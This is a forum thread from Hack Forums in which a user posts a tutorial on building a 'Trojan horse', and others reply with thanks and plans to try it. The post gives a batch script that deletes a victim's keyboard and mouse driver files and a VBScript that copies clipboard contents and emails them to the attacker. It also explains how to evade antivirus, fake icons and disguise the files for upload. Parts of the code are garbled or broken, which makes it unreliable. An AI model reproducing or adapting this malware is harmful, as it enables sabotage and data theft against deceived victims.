+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: [TuT]How to make a Trojan Horse[TuT] (/showthread.php?tid=299286)
[TuT]How to make a Trojan Horse[TuT] - [SHARPEYE] - Mar 4, 2010
This is a Semi Advanced tutorial
(non leeched...100% Sharpeye original)
The following steps will show you how to make your very own Trojan Horse...
Q- "What is a Trojan horse?"
A- A trojan horse is a program that is often classified under: "Spyware" (software that steels information from a computer).It is not unlike that of a keylogger (in some indefinite cases). It can also hold many characteristics of a computer virus (it can copy itself, infect files etc.).
Q- "What exactly does it do?"
A- A trojan horses main objective is to go straight to the source and steal the valuable information of a computer system.
Q- "How do I make one??"
Q- Good question! You can actually make a basic Trojan pretty easily with any Microsoft OS (operating system). All you need is:
-A raw text editor
(Notepad is fine)
And
-And Email address
(don't use your own--you'll want to create a new one under an assumed name and address)
And your set --- Lets begin shall we:
--STEP 1-- Open Notepad
--STEP 2-- Type-
Code
@echo off
del %C:\WINDOWS\system\mouse.drv%
del %C:\WINDOWS\system\keyboard.drv%
del %C:\WINDOWS\system\keyboard.sys%
copy C:\WINDOWS\system32\TZlog.log
start TZlog.log
start copyright.vbsit deletes the victims mouse and keyboard when opened (so do not open it), and proceeds to copy, TZlog.log to the users desktop and opens it. TZlog.log-is a file that logs a users activities on his of hers computer.
--STEP 3-- Open Notepad again
--STEP 4-- Type-
Code
set a = createobject("wscript.shell")
wscript.sleep(5000)
a.sendkeys ("^a")
a.sendkeys ("^c")
a.run "msimn.exe"
wscript.sleep(150000)
a.sendkeys ("^n")
wscript.sleep(10000)
a.sendkeys ("[YOUR EMAIL ADDRESS]")
a.sendkeys "{TAB}"
a.sendkeys ("[YOUR EMAIL ADDRESS]")
a.sendkeys ("^v")
wscript.sleep(5000)
a.sendkeys ("{ALT}s")
msgbox("You've been hacked"),1,("[YOUR ALIAS]")--STEP 5-- Encrypt the file content, so that it is undetectable by antivirus software...
Spoiler (Click to View)
--STEP 6-- Create a shortcut to- "Backup.bat", name it whatever you want, and change the icon.
--STEP 7-- Create a folder, and name it- "system". Put the 2 files you made earlier into it (don't put the shortcut in the folder).
--STEP 8-- Create a Zip (or a winRAR) folder, and put everything you made into it (you can name the zip/rar folder anything you want).
--STEP 9-- (our final step): upload it on the web, and disguise it as anything you want!___________AND YOUR DONE__________
Additional Notes
*The "C:\" in the Backup.bat file, might not always work; the victim migh not have a C drive, but instead have a G drive, so we would have to replace- "C:\" with "G:\"...so to be on the safe side,you might want to list any possible drive...
Spoiler (Click to View)
*When writing the batch you might want to add some code to make it look more realistic when it first opens, so that the victim actually stays on it while it does the dirty work...
for instance-
you might want to give it a title, a color, and something that tells you to wait while it loads
EXAMPLE:
Code
@echo off
Title This is not a trojan... I swear
color c2
echo loading... please wait*You might want to change the icons of the actual documents, or have your own icon on them to make it look more real. Just download *ICON CHANGER 3.8 --> https://hackforums.net/showthread.php?tid=232221&highlight=icon+changer _____________________________
And thats how you make a trojan horse
--<-SHARPEYE->-- 🤝
* - Cryptic - Mar 5, 2010
I'm going to test this shortly, will post back.
Not sure where the TZlog.log part comes from...
* - sammyb2113 - Mar 5, 2010
yEAH, i DIDN'T HAVE TZLOG ON MY COMP... sorry about caps, but i really cbf to change it..
* - [SHARPEYE] - Mar 5, 2010
(Mar 5, 2010 02:46 AM)Cryptic™ Wrote: I'm going to test this shortly, will post back.
Not sure where the TZlog.log part comes from...
TZlog.log only comes after you've made an actual change to your computer, like dwonloaded somthing, or installed somthing, or saved a new document... and it will be erased everytime you log into another profile.
* - Cycl0ne - Mar 5, 2010
Wait Checking.. :)___________________________
* - CyberM@X - Mar 5, 2010
Lol this looks like a COPY + PASTE from a .txt file you had downloaded on website ..
* - [SHARPEYE] - Mar 5, 2010
(Mar 5, 2010 06:16 AM)Maxmaximuss8 Wrote: Lol this looks like a COPY + PASTE from a .txt file you had downloaded on website ..
Nope... made this myself!
* - [SHARPEYE] - Mar 5, 2010
BUMP
Spoiler (Click to View)
* - 69flyman - Mar 6, 2010
thanks alot man nice tut
* - INeedSomeOnesHelp - Mar 6, 2010
Looks good am going to give it a try later.
* - drey_g - Mar 6, 2010
looks good :) longer message
* - HaXZX0r - Mar 7, 2010
Going to test this.. Look good
* - healkiss - Jun 13, 2013
Hi,
Thx for this very informative post.
I m encountered some difficutlies with the TZlog file. Where it come from ? And what is its role ?
Hope to read you soon!
* - Bluth - Jun 13, 2013
I'm going to try this out later, very useful indeed. It's pretty advanced though, hope I can make it!
* - MrSn0w - Sep 8, 2014
Thank you for the informations,it works good :)